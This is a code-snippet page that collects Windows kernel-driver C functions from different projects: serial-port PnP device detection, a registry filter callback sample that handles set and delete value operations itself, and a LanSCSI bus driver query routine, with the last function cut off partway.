	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_BAUD_RATE,
		&BaudRate, sizeof(BaudRate), NULL, 0);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Lcr.WordLength = 7;
	Lcr.Parity = NO_PARITY;
	Lcr.StopBits = STOP_BIT_1;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_LINE_CONTROL,
		&Lcr, sizeof(Lcr), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_DTR,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Wait(200);
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Wait(200);

	/* 3. Wait for response, 1st phase */
	TRACE_(SERENUM, "Wait for response, 1st phase\n");
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_RTS,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Timeouts.ReadIntervalTimeout = 0;
	Timeouts.ReadTotalTimeoutMultiplier = 0;
	Timeouts.ReadTotalTimeoutConstant = 200;
	Timeouts.WriteTotalTimeoutMultiplier = Timeouts.WriteTotalTimeoutConstant = 0;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_TIMEOUTS,
		&Timeouts, sizeof(Timeouts), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = ReadBytes(LowerDevice, Buffer, sizeof(Buffer), &Size);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	if (Size != 0) goto CollectPnpComDeviceId;

	/* 4. COM port setup, 2nd phase */
	TRACE_(SERENUM, "COM port setup, 2nd phase\n");
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_DTR,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Purge = SERIAL_PURGE_RXABORT | SERIAL_PURGE_RXCLEAR;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_PURGE,
		&Purge, sizeof(ULONG), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Wait(200);

	/* 5. Wait for response, 2nd phase */
	TRACE_(SERENUM, "Wait for response, 2nd phase\n");
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_RTS,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = ReadBytes(LowerDevice, Buffer, 1, &TotalBytesReceived);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	if (TotalBytesReceived != 0) goto CollectPnpComDeviceId;
	Size = sizeof(Msr);
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_GET_MODEMSTATUS,
		NULL, 0, &Msr, &Size);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	if ((Msr & SERIAL_DSR_STATE) == 0) goto VerifyDisconnect; else goto ConnectIdle;

	/* 6. Collect PnP COM device ID */
CollectPnpComDeviceId:
	TRACE_(SERENUM, "Collect PnP COM device ID\n");
	Timeouts.ReadIntervalTimeout = 200;
	Timeouts.ReadTotalTimeoutMultiplier = 0;
	Timeouts.ReadTotalTimeoutConstant = 2200;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_TIMEOUTS,
		&Timeouts, sizeof(Timeouts), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = ReadBytes(LowerDevice, &Buffer[TotalBytesReceived], sizeof(Buffer) - TotalBytesReceived, &Size);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	TotalBytesReceived += Size;
	Size = sizeof(PerfStats);
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_GET_STATS,
		NULL, 0, &PerfStats, &Size);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	if (PerfStats.FrameErrorCount + PerfStats.ParityErrorCount != 0) goto ConnectIdle;
	for (i = 0; i < TotalBytesReceived; i++)
	{
		if (Buffer[i] == BEGIN_ID) BufferContainsBeginId = TRUE;
		if (Buffer[i] == END_ID) BufferContainsEndId = TRUE;
	}
	if (TotalBytesReceived == 1 || BufferContainsEndId)
	{
		if (IsValidPnpIdString(Buffer, TotalBytesReceived))
		{
			Status = ReportDetectedPnpDevice(Buffer, TotalBytesReceived);
			goto ByeBye;
		}
		goto ConnectIdle;
	}
	if (!BufferContainsBeginId) goto ConnectIdle;
	if (!BufferContainsEndId) goto ConnectIdle;
	Size = sizeof(Msr);
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_GET_MODEMSTATUS,
		NULL, 0, &Msr, &Size);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	if ((Msr & SERIAL_DSR_STATE) == 0) goto VerifyDisconnect;

	/* 7. Verify disconnect */
VerifyDisconnect:
	TRACE_(SERENUM, "Verify disconnect\n");
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Wait(5000);
	goto DisconnectIdle;

	/* 8. Connect idle */
ConnectIdle:
	TRACE_(SERENUM, "Connect idle\n");
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	BaudRate = 300;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_BAUD_RATE,
		&BaudRate, sizeof(BaudRate), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Lcr.WordLength = 7;
	Lcr.Parity = NO_PARITY;
	Lcr.StopBits = STOP_BIT_1;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_LINE_CONTROL,
		&Lcr, sizeof(Lcr), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	if (TotalBytesReceived == 0)
		Status = STATUS_DEVICE_NOT_CONNECTED;
	else
		Status = STATUS_SUCCESS;
	goto ByeBye;

	/* 9. Disconnect idle */
DisconnectIdle:
	TRACE_(SERENUM, "Disconnect idle\n");
	/* FIXME: report to OS device removal, if it was present */
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	BaudRate = 300;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_BAUD_RATE,
		&BaudRate, sizeof(BaudRate), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Lcr.WordLength = 7;
	Lcr.Parity = NO_PARITY;
	Lcr.StopBits = STOP_BIT_1;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_LINE_CONTROL,
		&Lcr, sizeof(Lcr), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = STATUS_DEVICE_NOT_CONNECTED;

ByeBye:
	/* Close port */
	if (Handle)
		ZwClose(Handle);
	return Status;
}
Ejemplo n.º 22
0
NTSTATUS 
CallbackCapture(
    _In_ PCALLBACK_CONTEXT CallbackCtx,
    _In_ REG_NOTIFY_CLASS NotifyClass,
    _Inout_ PVOID Argument2
)
/*++

Routine Description:

    This helper callback routine shows how to capture a buffer and a
    unicode string with the name of a value. The bulk of the work is down
    in the helper capture routines: CaptureBuffer and CaptureUnicodeString.

    In the pre-notification phase, we bypass the set value and delete value
    operations and complete them manually by calling ZwSetValueKey and 
    ZwDeleteValueKey. 
    
Arguments:

    CallbackContext - The value that the driver passed to the Context parameter
        of CmRegisterCallbackEx when it registers this callback routine.

    NotifyClass - A REG_NOTIFY_CLASS typed value that identifies the type of 
        registry operation that is being performed and whether the callback
        is being called in the pre or post phase of processing.

    Argument2 - A pointer to a structure that contains information specific
        to the type of the registry operation. The structure type depends
        on the REG_NOTIFY_CLASS value of Argument1. 

Return Value:

    NTSTATUS

--*/
{
    NTSTATUS Status = STATUS_SUCCESS;
    PREG_SET_VALUE_KEY_INFORMATION PreSetValueInfo;
    PREG_DELETE_VALUE_KEY_INFORMATION PreDeleteValueInfo;
    HANDLE RootKey = NULL;
    PVOID LocalData = NULL;
    PVOID Data = NULL;
    UNICODE_STRING LocalValueName = {0};
    PUNICODE_STRING ValueName = NULL;
    KPROCESSOR_MODE Mode = KernelMode;
    
    UNREFERENCED_PARAMETER(CallbackCtx);
    
    switch(NotifyClass) {
        
        case RegNtPreSetValueKey:

            PreSetValueInfo = (PREG_SET_VALUE_KEY_INFORMATION) Argument2;

            //
            // REG_SET_VALUE_KEY_INFORMATION is a partially captured structure.
            // The value name is captured but the data is not. Since we are
            // passing the data to a zw* method, we need to capture it.
            //
            // *Note: as of win8, the data buffer is captured as well
            // by the registry.
            //
            
            Mode = ExGetPreviousMode();

            if (!g_IsWin8OrGreater && (Mode == UserMode)) {
                Status = CaptureBuffer(&LocalData, 
                                       PreSetValueInfo->Data, 
                                       PreSetValueInfo->DataSize, 
                                       REGFLTR_CAPTURE_POOL_TAG);
                if (!NT_SUCCESS(Status)) {
                    break;
                }
                Data = LocalData;
            } else {
                Data = PreSetValueInfo->Data;
            }

            //
            // Get a handle to the root key the value is being created under.
            // This is in PreInfo->Object.
            //
            
            Status = ObOpenObjectByPointer(PreSetValueInfo->Object,
                                           OBJ_KERNEL_HANDLE,
                                           NULL,
                                           KEY_ALL_ACCESS,
                                           NULL,
                                           KernelMode,
                                           &RootKey);

            if (!NT_SUCCESS (Status)) {
                ErrorPrint("ObObjectByPointer failed. Status 0x%x", Status);
                break;
            } 

            //
            // Set the value.
            //
            
            Status = ZwSetValueKey(RootKey,
                                   PreSetValueInfo->ValueName,
                                   0,
                                   PreSetValueInfo->Type,
                                   Data,
                                   PreSetValueInfo->DataSize);
            
            if(!NT_SUCCESS(Status)) {
                ErrorPrint("ZwSetValue in CallbackModify failed. Status 0x%x", 
                           Status);
                ZwClose(RootKey);
                break;
            }

            //
            // Finally return STATUS_CALLBACK_BYPASS to tell the registry
            // not to proceed with the original registry operation and to return
            // STATUS_SUCCESS to the caller.
            //

            InfoPrint("\tCallback: Set value %wZ bypassed.", PreSetValueInfo->ValueName);
            Status = STATUS_CALLBACK_BYPASS;
            ZwClose(RootKey);
            break;
           
        case RegNtPreDeleteValueKey:

            PreDeleteValueInfo = (PREG_DELETE_VALUE_KEY_INFORMATION) Argument2;

            //
            // REG_DELETE_VALUE_KEY_INFORMATION is a partially captured 
            // structure. The value name's buffer is not captured. Since we are
            // passing the name to a zw* method, we need to capture it.
            //
            // *Note: as of Win8, the data buffer is captured already
            // by the registry.
            //
            
            Mode = ExGetPreviousMode();

            if (!g_IsWin8OrGreater && (Mode == UserMode)) {
                Status = CaptureUnicodeString(&LocalValueName, 
                                              PreDeleteValueInfo->ValueName,
                                              REGFLTR_CAPTURE_POOL_TAG);
                if (!NT_SUCCESS(Status)) {
                    break;
                }
                ValueName = &LocalValueName;
            } else {
                ValueName = PreDeleteValueInfo->ValueName;
            }

            //
            // Get a handle to the root key the value is being created under.
            // This is in PreInfo->Object.
            //
            
            Status = ObOpenObjectByPointer(PreDeleteValueInfo->Object,
                                           OBJ_KERNEL_HANDLE,
                                           NULL,
                                           KEY_ALL_ACCESS,
                                           NULL,
                                           KernelMode,
                                           &RootKey);

            if (!NT_SUCCESS (Status)) {
                ErrorPrint("ObObjectByPointer failed. Status 0x%x", Status);
                break;
            } 

            //
            // Set the value.
            //
            
            Status = ZwDeleteValueKey(RootKey,
                                      ValueName);
            
            if(!NT_SUCCESS(Status)) {
                ErrorPrint("ZwDeleteValue failed. Status 0x%x", 
                           Status);
                ZwClose(RootKey);
                break;
            }

            //
            // Finally return STATUS_CALLBACK_BYPASS to tell the registry
            // not to proceed with the original registry operation and to return
            // STATUS_SUCCESS to the caller.
            //

            InfoPrint("\tCallback: Delete value %S bypassed.", ValueName->Buffer);
            Status = STATUS_CALLBACK_BYPASS;
            ZwClose(RootKey);
            break;

        default:
            //
            // Do nothing for other notifications
            //
            break;
    }

    //
    // Free buffers used for capturing user mode values.
    //
    
    if (LocalData != NULL){
        FreeCapturedBuffer(LocalData, REGFLTR_CAPTURE_POOL_TAG);
    }

    if (LocalValueName.Buffer != NULL) {
        FreeCapturedUnicodeString(&LocalValueName, REGFLTR_CAPTURE_POOL_TAG);
    }

    return Status;
}
Ejemplo n.º 23
0
//
//	Query information on LanscsiBus
//
NTSTATUS
LSBus_QueryInformation(
		PFDO_DEVICE_DATA				FdoData,
		PBUSENUM_QUERY_INFORMATION		Query,
		PBUSENUM_INFORMATION			Information,
		LONG							OutBufferLength,
		PLONG							OutBufferLenNeeded
	) {

	NTSTATUS			ntStatus;
	PLIST_ENTRY         entry;
	PPDO_DEVICE_DATA	PdoData;
	

	ntStatus = STATUS_SUCCESS;
	*OutBufferLenNeeded = OutBufferLength;
	PdoData = NULL;

	//
	//	Acquire the mutex to prevent PdoData ( Device Extension ) to disappear.
	//
    KeEnterCriticalRegion();
	ExAcquireFastMutex (&FdoData->Mutex);

	switch(Query->InfoClass) {
	case INFORMATION_NUMOFPDOS: {
		ULONG				NumOfPDOs;

		NumOfPDOs = 0;

		for (entry = FdoData->ListOfPDOs.Flink;
			entry != &FdoData->ListOfPDOs;
			entry = entry->Flink) {
			NumOfPDOs ++;
		}

		Information->NumberOfPDOs = NumOfPDOs;
		break;
	}
	case INFORMATION_PDO: {
		KIRQL	oldIrql;

		for (entry = FdoData->ListOfPDOs.Flink;
			entry != &FdoData->ListOfPDOs;
			entry = entry->Flink) {

				PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link);
				if(Query->SlotNo == PdoData->SlotNo) {
					ObReferenceObject(PdoData->Self);
					break;
				}
				PdoData = NULL;

		}

		if(PdoData) {
			KeAcquireSpinLock(&PdoData->LanscsiAdapterPDO.LSDevDataSpinLock, &oldIrql);
			Bus_KdPrint_Def(BUS_DBG_SS_TRACE, ("Status:%08lx DAcc:%08lx GAcc:%08lx\n",
											PdoData->LanscsiAdapterPDO.AdapterStatus,
											PdoData->LanscsiAdapterPDO.DesiredAccess,
											PdoData->LanscsiAdapterPDO.GrantedAccess
									));
			Information->PdoInfo.AdapterStatus = PdoData->LanscsiAdapterPDO.AdapterStatus;
			Information->PdoInfo.DesiredAccess = PdoData->LanscsiAdapterPDO.DesiredAccess;
			Information->PdoInfo.GrantedAccess = PdoData->LanscsiAdapterPDO.GrantedAccess;
			KeReleaseSpinLock(&PdoData->LanscsiAdapterPDO.LSDevDataSpinLock, oldIrql);

			ObDereferenceObject(PdoData->Self);
		} else {
			Bus_KdPrint_Def(BUS_DBG_SS_NOISE, ("No PDO for SlotNo %d!\n", Query->SlotNo));
			ntStatus = STATUS_NO_SUCH_DEVICE;
		}
		break;
	}
	case INFORMATION_PDOENUM: {
		LARGE_INTEGER			TimeOut;
		ULONG					resultLength;
		DEVICE_INSTALL_STATE	deviceInstallState;

		for (entry = FdoData->ListOfPDOs.Flink;
			entry != &FdoData->ListOfPDOs;
			entry = entry->Flink) {

				PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link);
				if(Query->SlotNo == PdoData->SlotNo) {
					ObReferenceObject(PdoData->Self);
					break;
				}
				PdoData = NULL;

		}

		ExReleaseFastMutex (&FdoData->Mutex);
	    KeLeaveCriticalRegion();

		if(!PdoData) {
		    KeEnterCriticalRegion();
			ExAcquireFastMutex (&FdoData->Mutex);
			ntStatus = STATUS_NO_SUCH_DEVICE;
			break;
		}
		//
		//	Wait until LDServ sends AddTargetData.
		//
		Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("waiting for AddTargetEvent.\n"));
		TimeOut.QuadPart = -10 * 1000 * 1000 * 120;			// 120 seconds
		ntStatus = KeWaitForSingleObject(
						&PdoData->LanscsiAdapterPDO.AddTargetEvent,
						Executive,
						KernelMode,
						FALSE,
						&TimeOut
					);
		if(ntStatus != STATUS_SUCCESS) {
		    KeEnterCriticalRegion();
			ExAcquireFastMutex (&FdoData->Mutex);

			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("failed to wait for AddTargetEvent.\n"));
			ntStatus = STATUS_NO_SUCH_DEVICE;
			ObDereferenceObject(PdoData->Self);
			break;
		}
		Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Completed to wait for AddTargetEvent.\n"));


		if(PdoData) {

			if(PdoData->LanscsiAdapterPDO.Flags & LSDEVDATA_FLAG_LURDESC) {
				//
				//	A LUR descriptor is set.
				//

				if(PdoData->LanscsiAdapterPDO.AddDevInfo == NULL) {
					KeEnterCriticalRegion();
					ExAcquireFastMutex (&FdoData->Mutex);

					ntStatus = STATUS_NO_SUCH_DEVICE;
					ObDereferenceObject(PdoData->Self);
					break;
				}

				*OutBufferLenNeeded =	FIELD_OFFSET(BUSENUM_INFORMATION, PdoEnumInfo) +
										FIELD_OFFSET(BUSENUM_INFORMATION_PDOENUM, AddDevInfo) +
										PdoData->LanscsiAdapterPDO.AddDevInfoLength;
				if(OutBufferLength < *OutBufferLenNeeded) {
					ntStatus = STATUS_BUFFER_TOO_SMALL;
				} else {
					RtlCopyMemory(
								&Information->PdoEnumInfo.AddDevInfo,
								PdoData->LanscsiAdapterPDO.AddDevInfo,
								PdoData->LanscsiAdapterPDO.AddDevInfoLength
							);
					Information->PdoEnumInfo.Flags = PDOENUM_FLAG_LURDESC;
					Information->PdoEnumInfo.DisconEventToService = PdoData->LanscsiAdapterPDO.DisconEventToService;
					Information->PdoEnumInfo.AlarmEventToService = PdoData->LanscsiAdapterPDO.AlarmEventToService;
					Information->PdoEnumInfo.MaxBlocksPerRequest = PdoData->LanscsiAdapterPDO.MaxBlocksPerRequest;

					//
					//	Check to see if this is the first enumeration.
					//
					ntStatus = DrGetDeviceProperty(
						PdoData->Self,
						DevicePropertyInstallState,
						sizeof(deviceInstallState),
						&deviceInstallState,
						&resultLength,
						(Globals.MajorVersion == 5) && (Globals.MinorVersion == 0)
						);
					if(NT_SUCCESS(ntStatus)) {
						if(deviceInstallState != InstallStateInstalled) {
							Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("First time installation. Do not enumerate a device.\n"));
							Information->PdoEnumInfo.Flags |= PDOENUM_FLAG_DRV_NOT_INSTALLED;
						}
					}
				}
			} else {
				//
				//	ADD_TARGET_DATA is set.
				//
				PLANSCSI_ADD_TARGET_DATA	AddTargetData;
				LONG						AddTargetLenNeeded;
				LONG						InfoBuffLenNeeded;

				AddTargetData = PdoData->LanscsiAdapterPDO.AddDevInfo;
				if(AddTargetData == NULL) {
					KeEnterCriticalRegion();
					ExAcquireFastMutex (&FdoData->Mutex);

					ntStatus = STATUS_NO_SUCH_DEVICE;
					ObDereferenceObject(PdoData->Self);
					break;
				}

				//
				//	calculate the length needed.
				//
				AddTargetLenNeeded = sizeof(LANSCSI_ADD_TARGET_DATA) + (AddTargetData->ulNumberOfUnitDiskList-1)*sizeof(LSBUS_UNITDISK);
				InfoBuffLenNeeded = sizeof(BUSENUM_INFORMATION) - sizeof(BYTE) + (AddTargetLenNeeded);
				*OutBufferLenNeeded = InfoBuffLenNeeded;
				if(OutBufferLength < InfoBuffLenNeeded) {
					ntStatus = STATUS_BUFFER_TOO_SMALL;
				} else {
					RtlCopyMemory(&Information->PdoEnumInfo.AddDevInfo, AddTargetData, AddTargetLenNeeded);
					Information->PdoEnumInfo.Flags = 0;
					Information->PdoEnumInfo.DisconEventToService = PdoData->LanscsiAdapterPDO.DisconEventToService;
					Information->PdoEnumInfo.AlarmEventToService = PdoData->LanscsiAdapterPDO.AlarmEventToService;
					Information->PdoEnumInfo.MaxBlocksPerRequest = PdoData->LanscsiAdapterPDO.MaxBlocksPerRequest;

					//
					//	Check to see if this is the first enumeration.
					//
					ntStatus = DrGetDeviceProperty(
						PdoData->Self,
						DevicePropertyInstallState,
						sizeof(deviceInstallState),
						&deviceInstallState,
						&resultLength,
						(Globals.MajorVersion == 5) && (Globals.MinorVersion == 0)
						);
					if(NT_SUCCESS(ntStatus)) {
						if(deviceInstallState != InstallStateInstalled) {
							Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("First time installation. Do not enumerate a device.\n"));
							Information->PdoEnumInfo.Flags |= PDOENUM_FLAG_DRV_NOT_INSTALLED;
						}
					} else {
						ntStatus = STATUS_SUCCESS;
						Information->PdoEnumInfo.Flags &= ~PDOENUM_FLAG_DRV_NOT_INSTALLED;
					}
				}
			}
		} else {

			ntStatus = STATUS_NO_SUCH_DEVICE;
		}

		KeEnterCriticalRegion();
		ExAcquireFastMutex (&FdoData->Mutex);

		ObDereferenceObject(PdoData->Self);
		break;
	}
	case INFORMATION_PDOEVENT: {

		for (entry = FdoData->ListOfPDOs.Flink;
			entry != &FdoData->ListOfPDOs;
			entry = entry->Flink) {

				PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link);
				if(Query->SlotNo == PdoData->SlotNo) {
					ObReferenceObject(PdoData->Self);
					break;
				}
				PdoData = NULL;

		}

		if(PdoData == NULL) {
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not find the PDO:%u.\n", Query->SlotNo));
			ntStatus = STATUS_NO_SUCH_DEVICE;
			break;
		}

		if( Query->Flags & LSBUS_QUERYFLAG_USERHANDLE) {
			Information->PdoEvents.SlotNo = PdoData->SlotNo;
			Information->PdoEvents.Flags = LSBUS_QUERYFLAG_USERHANDLE;

			//
			//	Get user-mode event handles.
			//
			ntStatus = ObOpenObjectByPointer(
					PdoData->LanscsiAdapterPDO.DisconEventToService,
					0,
					NULL,
					EVENT_ALL_ACCESS,
					*ExEventObjectType,
					UserMode,
					&Information->PdoEvents.DisconEvent
				);
			if(!NT_SUCCESS(ntStatus)) {
				ObDereferenceObject(PdoData->Self);
				Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not open Disconnect event object!!\n"));
				break;
			}
			ntStatus = ObOpenObjectByPointer(
					PdoData->LanscsiAdapterPDO.AlarmEventToService,
					0,
					NULL,
					EVENT_ALL_ACCESS,
					*ExEventObjectType,
					UserMode,
					&Information->PdoEvents.AlarmEvent
				);
			if(!NT_SUCCESS(ntStatus)) {
				ObDereferenceObject(PdoData->Self);
				Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not open Disconnect event object!!\n"));
				break;
			}

		} else {
			Information->PdoEvents.SlotNo = PdoData->SlotNo;
			Information->PdoEvents.Flags = 0;
			Information->PdoEvents.DisconEvent = PdoData->LanscsiAdapterPDO.DisconEventToService;
			Information->PdoEvents.AlarmEvent = PdoData->LanscsiAdapterPDO.AlarmEventToService;
		}

		ObDereferenceObject(PdoData->Self);
		break;
   }
	case INFORMATION_ISREGISTERED: {

		ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL);

		ntStatus = LSBus_IsRegistered(FdoData, Query->SlotNo);
		break;
	}

	case INFORMATION_PDOSLOTLIST: {
		LONG	outputLength;
		LONG	entryCnt;

		if(OutBufferLength < FIELD_OFFSET(BUSENUM_INFORMATION, PdoSlotList)) {
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Buffer size is less than required\n"));
			ntStatus = STATUS_INVALID_PARAMETER;
			break;
		}

		Information->Size = 0;
		Information->InfoClass = INFORMATION_PDOSLOTLIST;

		//
		//	Add the size of information header.
		//
		outputLength = FIELD_OFFSET(BUSENUM_INFORMATION, PdoSlotList);
		outputLength += sizeof(UINT32);					// SlotNoCnt
		entryCnt = 0;

		for (entry = FdoData->ListOfPDOs.Flink;
			entry != &FdoData->ListOfPDOs;
			entry = entry->Flink) {

			PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link);

			//
			//	Add the size of each slot entry.
			//
			outputLength += sizeof(UINT32);
			if(outputLength > OutBufferLength) {
				continue;
			}

			Information->PdoSlotList.SlotNo[entryCnt] = PdoData->SlotNo;
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Entry #%u: %u\n", entryCnt, PdoData->SlotNo));

			entryCnt ++;
		}

		if(outputLength > OutBufferLength) {
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Could not find a Device(%d).\n", Query->SlotNo));
			*OutBufferLenNeeded = outputLength;
			ntStatus = STATUS_BUFFER_TOO_SMALL;
		} else {
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Entry count:%d.\n", entryCnt));
			Information->Size = outputLength;
			Information->PdoSlotList.SlotNoCnt = entryCnt;
			*OutBufferLenNeeded = outputLength;
		}

		break;
	}
	case INFORMATION_PDOFILEHANDLE: {
		PWCHAR	devName;
		USHORT	devNameLen;
		OBJECT_ATTRIBUTES  objectAttr;
		UNICODE_STRING		objName;
		HANDLE				devFileHandle;
		IO_STATUS_BLOCK		ioStatus;

		devName = NULL;


		for (entry = FdoData->ListOfPDOs.Flink;
			entry != &FdoData->ListOfPDOs;
			entry = entry->Flink) {

				PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link);
				if(Query->SlotNo == PdoData->SlotNo) {
					ObReferenceObject(PdoData->Self);
					break;
				}
				PdoData = NULL;

		}

		if(PdoData == NULL) {
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not find the PDO:%u.\n", Query->SlotNo));
			ntStatus = STATUS_NO_SUCH_DEVICE;
			break;
		}


		//
		//	Get the name of the physical device object.
		//

		ntStatus = GetPhyDeviceName(PdoData->Self, &devName, &devNameLen);
		if(!NT_SUCCESS(ntStatus)) {
			ObDereferenceObject(PdoData->Self);
			break;
		}


		//
		//	Build unicode name of the device.
		//	Get rid of NULL termination from the length
		//

		objName.Buffer = devName;
		if(devNameLen > 0 && devName[devNameLen/sizeof(WCHAR) - 1] == L'\0') {
			objName.MaximumLength = devNameLen;
			objName.Length = devNameLen - sizeof(WCHAR);
		} else {
			objName.MaximumLength = objName.Length = devNameLen;
		}

		//
		//	Open a device file.
		//

		if(Query->Flags & LSBUS_QUERYFLAG_USERHANDLE) {
			Information->PdoFile.Flags = LSBUS_QUERYFLAG_USERHANDLE;
			InitializeObjectAttributes(&objectAttr, &objName, OBJ_CASE_INSENSITIVE , NULL, NULL);
		} else {
			Information->PdoFile.Flags = 0;
			InitializeObjectAttributes(&objectAttr, &objName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
		}


		ntStatus = ZwCreateFile(
						&devFileHandle,
						SYNCHRONIZE|FILE_READ_DATA,
						&objectAttr,
						&ioStatus,
						NULL,
						0,
						FILE_SHARE_READ|FILE_SHARE_WRITE,
						FILE_OPEN,
						FILE_SYNCHRONOUS_IO_NONALERT,
						NULL,
						0);
		if(!NT_SUCCESS(ntStatus)) {
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not open the PDO:%u. STATUS=%08lx\n", Query->SlotNo, ntStatus));
			ExFreePool(devName);
			ObDereferenceObject(PdoData->Self);
			break;
		}


		//
		//	Set the return values
		//

		Information->PdoFile.SlotNo = PdoData->SlotNo;
		Information->PdoFile.PdoFileHandle = devFileHandle;

		if(devName)
			ExFreePool(devName);

		ObDereferenceObject(PdoData->Self);
		break;
   }

	default:
		ntStatus = STATUS_INVALID_PARAMETER;
	}

	ExReleaseFastMutex (&FdoData->Mutex);
    KeLeaveCriticalRegion();

	return ntStatus;
}
Ejemplo n.º 24
0
NTSTATUS
SerenumDetectLegacyDevice(
	IN PDEVICE_OBJECT DeviceObject,
	IN PDEVICE_OBJECT LowerDevice)
{
	HANDLE Handle = NULL;
	ULONG Fcr, Mcr;
	ULONG BaudRate;
	ULONG Command;
	SERIAL_TIMEOUTS Timeouts;
	SERIAL_LINE_CONTROL LCR;
	ULONG i, Count = 0;
	UCHAR Buffer[16];
	UNICODE_STRING DeviceDescription;
	UNICODE_STRING DeviceId;
	UNICODE_STRING InstanceId;
	UNICODE_STRING HardwareIds;
	UNICODE_STRING CompatibleIds;
	NTSTATUS Status;

	TRACE_(SERENUM, "SerenumDetectLegacyDevice(DeviceObject %p, LowerDevice %p)\n",
		DeviceObject,
		LowerDevice);

	RtlZeroMemory(Buffer, sizeof(Buffer));

	/* Open port */
	Status = ObOpenObjectByPointer(
		LowerDevice,
		OBJ_KERNEL_HANDLE,
		NULL,
		0,
		NULL,
		KernelMode,
		&Handle);
	if (!NT_SUCCESS(Status)) return Status;

	/* Reset UART */
	TRACE_(SERENUM, "Reset UART\n");
	Mcr = 0; /* MCR: DTR/RTS/OUT2 off */
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_MODEM_CONTROL,
		&Mcr, sizeof(Mcr), NULL, NULL);
